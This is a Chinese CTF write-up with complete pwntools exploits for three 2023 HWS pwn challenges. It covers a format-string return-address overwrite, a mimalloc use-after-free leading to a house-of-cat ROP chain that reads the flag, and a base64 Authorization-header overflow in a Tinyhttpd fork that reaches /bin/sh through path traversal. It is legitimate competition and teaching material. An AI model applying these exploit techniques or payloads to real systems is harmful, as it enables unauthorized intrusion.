2023-HWS-PWN-WP

2023-HWS-PWN-WP

这次比赛运气比较好,把pwn ak了。

image-20230717090112784

fmt

栈上格式化字符串漏洞。有两次机会,每次最多输入80bytes。第一次泄露地址,第二次覆盖返回地址为one_gadget。

image-20230717152420011

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './fmt'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
if debug:
p = process(fn)

else:
p = remote('60.204.140.184', 30045)


def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')


def myformat(offset, addr, data):
A = data & 0xffff
B = (data >> 16) & 0xffff
C = (data >> 32) & 0xffff
# D = (data >> 48) & 0xffff

print(f'A: {hex(A)} \n' + f'B: {hex(B)} \n' + f'C: {hex(C)} \n' )

def cal(x, y):
return ((x - y) + 0x10000) % 0x10000

offset = offset + 6

payload = '%' + str(A) + 'c%{}$hn'.format(offset)
payload += '%' + str(cal(B, A)) + 'c%{}$hn'.format(offset + 1)
payload += '%' + str(cal(C, B)) + 'c%{}$hn'.format(offset + 2)
# payload += '%' + str(cal(D, C)) + 'c%{}$hn'.format(offset + 3)
payload = payload.ljust(0x30, '\x00')
payload = payload.encode()

payload += p64(addr)
payload += p64(addr + 2)
payload += p64(addr + 4)
# payload += p64(addr + 3)

return payload

p.recvuntil('need a str: ')

payload = "l1s00t%13$p%18$p%21$p"
p.sendline(payload)

p.recvuntil('l1s00t')

code_base = int(p.recv(14), 16) - 0x13f0
stack = int(p.recv(14), 16)
libc_base = int(p.recv(14), 16) - 0x24083

lg('codebase', code_base)
lg('stack', stack)
lg('libc_base', libc_base)

ret = stack - 8

gadgets = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = libc_base + gadgets[1]

# dbg()

p.recvuntil('need other str: ')

payload = myformat(6, ret, one_gadget)
p.sendline(payload)

p.interactive()

image-20230717094518373

mi

题目需要patchelf路径才能正常运行。

题目的内存分配是一个新型的mi_malloc,但仍然是一道典型的菜单堆题。

题目存在UAF漏洞。

image-20230717094721967

通过查看mi_malloc源码分析等博客以及调试等方式,对mi_malloc有大致的了解。感觉重要的点就是mi_malloc是以页面为单位分配内存,并把分配得到的内存再划分为不同大小的区块,每个区块互不干扰。分配小块内存时,优先从free中申请,释放时,优先放到local_free链表中。还会进行堆块的复用。

由此,可以想到,伪造local_free的next指针,即可实现任意地址分配。

大致思路就是:

  1. 泄露heap地址,得到heapbase
  2. 在heap中存储heap的控制块等结构,存储有mi_libc的地址。伪造chunk块指向存储mi_libc的地址,即可泄露mi_libc地址,进而泄露libc地址
  3. 伪造_IO_2_1_stdout,劫持puts,实现ORW。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './backpwn'
elf = ELF(fn)
libc = ELF('./libc.so.6')

debug = 1
if debug:
p = process(fn)
else:
p = remote('60.204.140.184', 30276)

def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')

def house_of_cat(fake_IO_file_addr):
flag_addr = fake_IO_file_addr + 0x200
data = fake_IO_file_addr + 0x400
payload = flat(
{
0x20: [
0, 0,
1, 1,
fake_IO_file_addr+0x150, # rdx
setcontext + 61
],
0x58: 0, # chain
0x78: _IO_stdfile_2_lock, # _lock
0x90: fake_IO_file_addr + 0x30, # _IO_wide_data
0xb0: -1, # _mode
0xc8: _IO_wfile_jumps + 0x10, # fake_IO_wide_jumps
0x100: fake_IO_file_addr + 0x40,
0x140: {
0xa0: [fake_IO_file_addr + 0x210, ret]
},
0x1f0: 'flag',
0x200: [
pop_rax_ret, # sys_open('flag', 0)
2,
pop_rdi_ret,
flag_addr,
pop_rsi_ret,
0,
syscall_ret,

pop_rax_ret, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_ret,
3,
pop_rsi_ret,
data,
pop_rdx_rbx_ret,
0x40, 0,
syscall_ret,

pop_rax_ret, # sys_write(1, heap, 0x100)
1,
pop_rdi_ret,
1,
pop_rsi_ret,
data,
pop_rdx_rbx_ret,
0x40, 0,
syscall_ret
]
}, filler='\x00'
)

return payload


def add(size, content='aaaaaaaa'):
p.sendlineafter('>>', '1')
p.sendlineafter('size:', str(size))
p.sendafter('Content:', content)

def edit(idx, content):
p.sendlineafter('>>', '3')
p.sendlineafter('idx:', str(idx))
p.sendafter('Content:', content)

def show(idx):
p.sendlineafter('>>', '4')
p.sendlineafter('idx:', str(idx))

def delete(idx):
p.sendlineafter('>>', '2')
p.sendlineafter('idx:', str(idx))


add(0x500) # 0
add(0x500) # 1
add(0x500) # 2

delete(1)
delete(2)

edit(2, 'a')

show(2)

p.recvline()
heapbase = u64(p.recvline()[:-1].ljust(8, b'\x00')) & ~0xffffff
lg('heapbase', heapbase)

edit(2, p64(heapbase + 0x240))

add(0x500) # 3
add(0x500, 'a') # 4

show(4)

mi_libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x22861
lg('mi_libc_base', mi_libc_base)

libc_base = mi_libc_base - 0x1f2000
lg('libc_base', libc_base)

_IO_2_1_stdout = libc_base + 0x1ed6a0
_IO_stdfile_2_lock = libc_base + 0x1ee7e0
_IO_wfile_jumps = libc_base + 0x1e8f60

pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_rbx_ret = libc_base + 0x000000000015f8c6
pop_rax_ret = libc_base + 0x0000000000036174
syscall_ret = libc_base + 0x00000000000630a9
ret = pop_rdi_ret + 1

setcontext = libc_base + libc.sym['setcontext']

deferred_free = mi_libc_base + 0x75f50

gadgets = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = libc_base + gadgets[1]

add(0x400) # 5
add(0x400) # 6
add(0x400) # 7

delete(6)
delete(7)

# edit(7, p64(deferred_free))
edit(7, p64(_IO_2_1_stdout))

add(0x400) # 8
add(0x400) # 9

# dbg()

payload = p64(0) * 2 + house_of_cat(_IO_2_1_stdout)
add(0x400, payload) # 10

p.interactive()

image-20230717101150817

mhttpd

题目修改自于Tinyhttpd这个项目。

image-20230717104013884

image-20230717103334947

题目未限制v18的长度,导致base64解密后可以覆盖url,从而绕过路径穿越检测,达到任意文件执行的效果。

使用cyberspace生成需要的base64串。

image-20230717104430071

image-20230717101625993

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import * 

context.arch = 'amd64'
context.log_level = 'debug'

# p = remote('127.0.0.1', 4000)

p = remote('123.60.179.52', 30295)

data = "GET /l1s00t.html HTTP/1.1\r\nAuthorization: Basic QWRtaW46YWFhYWJhYWFjYWFhZGFhYWVhYWFmYWFhZ2FhYWhhYWFpYWFhamFhYWthYWFsYWFhbWFhYW5hYWFvYS8uLi8uLi8uLi8uLi8uLi8uLi8uLi9iaW4vc2g/Lmh0bWw=\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36\r\n"

p.sendline(data)

p.interactive()

image-20230717152846297

参考文章:

https://lyoungjoo.github.io/2019/09/04/2019-TokyoWesterns-CTF-mi-write-up/

https://www.cnblogs.com/linkwk7/p/11193728.html

https://www.cnblogs.com/Five100Miles/p/12169392.html

https://github.com/EZLippi/Tinyhttpd


2023-HWS-PWN-WP
http://example.com/2023/07/17/2023-HWS-PWN-WP/
作者
l1s00t
发布于
2023年7月17日
许可协议